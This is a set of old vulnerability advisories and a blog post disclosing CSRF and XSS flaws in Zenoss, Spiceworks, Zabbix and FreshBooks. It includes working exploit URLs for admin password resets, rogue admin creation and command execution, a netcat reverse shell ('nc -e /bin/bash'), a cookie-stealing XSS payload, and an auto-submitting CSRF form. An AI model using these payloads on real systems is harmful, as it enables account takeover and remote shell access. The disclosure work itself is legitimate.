nGenuity Information Services - Security Advisory

   Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
     Zenoss is a commercial and open source systems and network monitoring tool. Much
     of the applications functionality is accessible via a front end web application.

 II. DETAILS
     Multiple CSRF vulnerabilities exist that can allow for arbitrary
     commands to be executed on the Zenoss server as well as reset the Zenoss
     admin password.

     Attack scenario: If an administrator has an active Zenoss
     session and visits one of these links or visits a malicious page that
     contains resources to point to these URL's

     1. Reset user password to a known state Cross-Site Request Forgery CSRF,
     in this case the password is reset to letmein.

http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&

        defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh:
        boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=&
        password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

     2. Change and execute a command CSRF.
     Change the ping command to be a netcat shell out to a remote system. In
     this case an internal system running on port 443

        http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
        /bin/bash 172.16.28.6 443&commandId=ping&description:text=&
        manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

     Execute the new "ping" command:

http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping

III. REFERENCES
     [1] - http://www.zenoss.com

 IV. VENDOR COMMUNICATION
     3.10.2009 - Vulnerability Discovery
     8.21.2009 - Requested status from vendor
     9.29.2009 - Vendor call (Fix pending)

Copyright (c) 2009 nGenuity Information Services, LLC

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-009 - Spiceworks Multiple Vulnerabilities (XSS & CSRF)
   Application: Spiceworks 3.6.31847
        Vendor: Spiceworks
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS, CSRF

  I. BACKGROUND
     Spiceworks is a network management, monitoring, helpdesk, etc application that
     uses a web based front end.

 II. DETAILS
     Multiple vulnerabilities exist within the Spiceworks platform that can be used
     to take over or otherwise abuse the application / infrastructure.

     These vulnerabilities allow for the following attack scenarios to be executed.

     1. Creation of a new Administrator account
     2. Password reset of users

     Exploit Examples:
     Create Administrator Account:

http://example.com/settings/users/create?user%5Bfirst_name%5D=Joe&user%5Bla

st_name%5D=Nobody&user%5Bemail%5D=user%40example.com&user%5Brole%5D=admin&us
er%5Bpassword%5D=PASSWORD&user%5Bpassword_confirmation%5D=PASSWORD

     User Password Reset:

http://example.com/settings/users/change_password/1?user%5Bpassword%5D=PASSWORD

&editorId=password_entry_for_1

     Edit: 8/10/2009
     Thank you to Melinda Rosario for pointing out that I forgot to include any details on the XSS
     portion of this advisory. It is a simple reflected XSS in the search parameter.

     Example:

http://example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

     Edit: 8/11/2009
     Per Francis Sullivan at Spiceworks: Update to the latest Spiceworks 4.1 where the security issues
     are addresses.

III. REFERENCES
     [1] - http://www.spiceworks.com
     [2] - http://cwe.mitre.org/data/definitions/79.html
     [3] - http://cwe.mitre.org/data/definitions/352.html

 IV. VENDOR COMMUNICATION
     4.1.2009 - Vulnerability Discovery & Vendor Notification
     4.6.2009 - Second attempt to contact vendor
     4.7.2009 - Initial vendor response
     8.8.2009 - Advisory Release

Copyright (c) 2009 nGenuity Information Services, LLC

I have run into the this particular issue a lot in the past few weeks. It’s like the new generation of web developers have forgotten about security principles (must be a web 2.0 thing.) For an example of this particular issue, I will use a zero day vulnerability in the popular time tracking / invoicing app FreshBooks. This vulnerability literally took only 5 minutes to identify. It has to make one think about the level of effort these web app companies really put into security, I know it makes me think twice about giving somebody else control of my information.

Now for the fun stuff, I will explain below that a user with a logged in FreshBooks session that visits a malicious website could have their account credentials (username, password) changed in such a manner that they would not know immediately, giving the attacker full control.

It’s all about verifiable trust

Web applications, especially ones that are password protected, rely on the fact that your browser will send the session ID with every browser request. This is a very important design consideration for web app developers designing privileged sections/actions of the application.

For example if a web app developer designs using the mentality “a user has to be logged in (has a valid session) to change their password or do any other privileged activities,” not only is the logged in user able to do those actions but any other page they visit has the ability to have their browser make those requests too. All because of the designed browser behaviour of having your session sent with your request. This is session based trust.

What we need to solve this is transaction based trust. We need the client to prove they are not only allowed from an authentication perspective but are authorized to make this transaction. Now the important part.

For a password change the old password should be provided and verified server side. For other privileged operations other tokens and methods can be used.

Tell me how to exploit FreshBooks already!

As you might have guessed by now FreshBooks does not ask for the old password when setting account information, trusting only on session authentication, bad design flaw. They ask for First Name, Last Name, Email address, username, new password, verify password. They also don’t deploy any other protection mechanisms (which I’m not going to get into here.) So when the FreshBooks user fills out the form and presses save the server takes what the user sent, verified the session was good and saved the info. No other verification is done.

Most of you won’t care, but this is the code that makes up the form in the background (in essence anyway.)

<form name=”csrf” action=”https://xxxxxx.freshbooks.com/menu.php?route=usernameAndPass” method=”post” target=”hidden”>
<input type=”text” name=”fname” value=”Joe”  />
<input type=”text” name=”lname” value=”Schmoe” />
<input type=”text” name=”email” value=”adam@ngenuity-is.com” />
<input type=”text” name=”rate” value=”0.00″ />
<input type=”text” name=”admin_username” value=”USERNAME” />
<input type=’password’ name=”admin_password” value=”PASSHERE” />
<input type=”password” name=”admin_password2″ value=”PASSHERE” />
<input type=”submit” name=”save” />
</form>

This should be pretty straight forward as to what each piece is when compared to the above image. A quick addition of <script>document.csrf.submit();</script> and the browser executes the code for us with no human interaction. Throw all of this (with a few more important details you have to figure out yourself) on a website and you have a nice little, targeted exploit.

All of this could have been avoided if FreshBooks would have simply asked the user for their old password and verified that old password. Sure there are technical controls they can put in place to protect against some of these things, but really this should have been caught during a design assessment of the application.

Special thanks to Adam Brault for helping me test the exploit outside of the lab and agreeing to be pwned.

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-006 - Zabbix Multiple Frontend CSRF
   Application: Zabbix 1.6.2
        Vendor: Zabbix
Vendor website: http://www.zabbix.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
     "ZABBIX is an enterprise-class open source distributed monitoring solution." [1]

 II. DETAILS
     Multiple Cross-Site Request Forgery (CSRF) vulnerabilities exist that can allow for the following
     attack scenarios to be executed should an administrator with a valid session visit a malicious page
     or url.

     1. Reset admin password
     2. Execution of shell commands

     Reset Admin Password:
     Zabbix does not validate a users old password before the new password is set using a request
     similar to the below request. Some of the parameters are not required for the request to be
     valid.

     Example: http://example.com/zabbix/profile.php?autologout=900&change_password=Change%20password
              &config=0&form=1&form_refresh=2&lang=en_gb&password1=aaaaaa&password2=aaaaaa&refresh=30
              &save=Save&theme=default.css&url=&userid=1

     Execution of Shell Commands:
     A two staged approach is required to execute arbitrary shell commands. First the custom command to
     be executed has to be created and then that command has to be executed. Below is an example of how
     these requests could be executed.

     Example: Setting the command

http://example.com/zabbix/scripts.php?action=1&access=2&command=touch%20/tmp/zabbix&form=1

     &form_refresh=1&form_refresh=1&groupid=0&name=Ping&save=Save&scriptid=1&usrgrpid=0

     Example: Executing the command

http://example.com/zabbix/scripts_exec.php?execute=1&hostid=10017&scriptid=1

III. REFERENCES
     [1] - http://www.zabbix.com

 IV. VENDOR COMMUNICATION
     3.22.2009 - Vulnerability Discovery
     3.23.2009 - Vendor response. Fixed in 1.6.3 (unconfirmed)

Copyright (c) 2009 nGenuity Information Services, LLC